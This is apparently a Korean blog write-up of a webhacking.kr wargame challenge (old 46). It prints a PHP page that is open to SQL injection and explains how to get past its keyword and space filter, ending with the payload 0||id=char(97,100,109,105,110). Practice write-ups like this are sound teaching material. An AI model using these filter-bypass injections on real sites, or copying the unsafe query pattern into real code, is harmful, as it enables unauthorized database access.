소스를 보면 다음과 같습니다.
<?php
if($_GET['lv']){
$db = dbconnect();
$_GET['lv'] = addslashes($_GET['lv']);
$_GET['lv'] = str_replace(" ","",$_GET['lv']);
$_GET['lv'] = str_replace("/","",$_GET['lv']);
$_GET['lv'] = str_replace("*","",$_GET['lv']);
$_GET['lv'] = str_replace("%","",$_GET['lv']);
if(preg_match("/select|0x|limit|cash/i",$_GET['lv'])) exit();
$result = mysqli_fetch_array(mysqli_query($db,"select id,cash from chall46 where lv=$_GET[lv]"));
if($result){
echo("{$result['id']} information<br><br>money : {$result['cash']}");
if($result['id'] == "admin") solve(46);
}
}
?>
get방식의 lv라는 변수에 대해서 말하고 있네요
addslashes() 라는 함수는 싱글/더블쿼터, 역슬레시, 널문자 등을 예외처리 시켜 쿼리 작성에 혼동이 오지 않게 합니당
그 밑을 보면 공백, /, *, %, preg_match()의 각종 단어들은 모두 필터링을 하고 있고요
어쨌든 id가 admin이면 풀립니다!
그럼, 첫 화면인 lv 1 부터 쿼리를 넣어볼게요
그리고 밑 세 사진은 2, 3, 4를 각각 넣은 화면입니다
0과 5 이상부터는 아무 일도 없었어요.
따라서 chall46이라는 이름의 테이블을 추측할 수 있습니다.
id | cash |
Itusy | 1100 |
udnrg | 800 |
fvvcg | 1200 |
bzrbo | 700 |
admin | ? |
하지만 위 테이블이 어떻게 생겼는지는 사실 별 관심없고
우리는 id만 admin으로 맞추면 되기 때문에, id를 쿼리로 넣어볼 것이다.
"select id,cash from chall46 where lv=$_GET[lv]" 에서
0 or id = admin을 넣고 싶은데 공백, %는 필터링되니 대신 괄호를 써봅시다
(0)or(id=admin)을 넣어볼게요!
그럼 괄호 대신 더하기로 ㅎㅎ
0+or+id+=+admin
뭐가 문제일까 하고 보니, 일단 admin도 필터링 각이었고
or도 안됩니다
이꼴은 되나 싶어서 보니
이꼴은 되고, or은 ||으로 우회 가능하네요
자 그럼, admin만 우회해주면 풀릴 것 같은데,
char()함수를 써서 넘겨보겠습니다
char()는 해당 아스키코드값을 문자로 변환시켜주는 함수입니당
admin의 a, d, m, i, n은 각각 97, 100, 109, 105, 110
따라서 admin은 char(97,100,109,105,110)으로 우회할 수 있고 최종적으로
0||id=char(97,100,109,105,110)을 넣어보겠슴다
'Wargame > webhacking.kr' 카테고리의 다른 글
Challenge old 48 (350) (0) | 2020.02.11 |
---|---|
Challenge old 47 (150) (0) | 2020.02.11 |
Challenge old 38 (100) (0) | 2020.02.04 |
*Challenge old 37 (250) (0) | 2020.02.04 |
Challenge old 36 (200) (0) | 2020.02.04 |